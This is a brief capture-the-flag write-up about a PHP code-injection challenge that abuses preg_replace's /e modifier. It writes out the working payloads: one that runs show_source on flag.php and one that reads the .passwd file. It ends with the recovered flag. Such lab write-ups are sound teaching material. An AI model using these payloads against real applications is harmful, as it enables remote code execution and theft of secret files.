We can supply the /e, and then the preg_replace will be like eval and let us run code, like this challenge: https://avishaigonen123.github.io/CTF_writeups/websec.fr/level05.html
we send this:
search=/bla/e&replace=show_source("flag.php");&content=bla
By this way, the preg_replace command that’ll be run is:
preg_replace("/bla/e","show_source("flag.php");","bla");
And we can see the content of flag.php. So, the flag is inside .passwd

Then, we can run this:
die(file_get_contents(".passwd"))
Then, we got this:
Flag: pr3g_r3pl4c3_3_m0d1f13r_styl3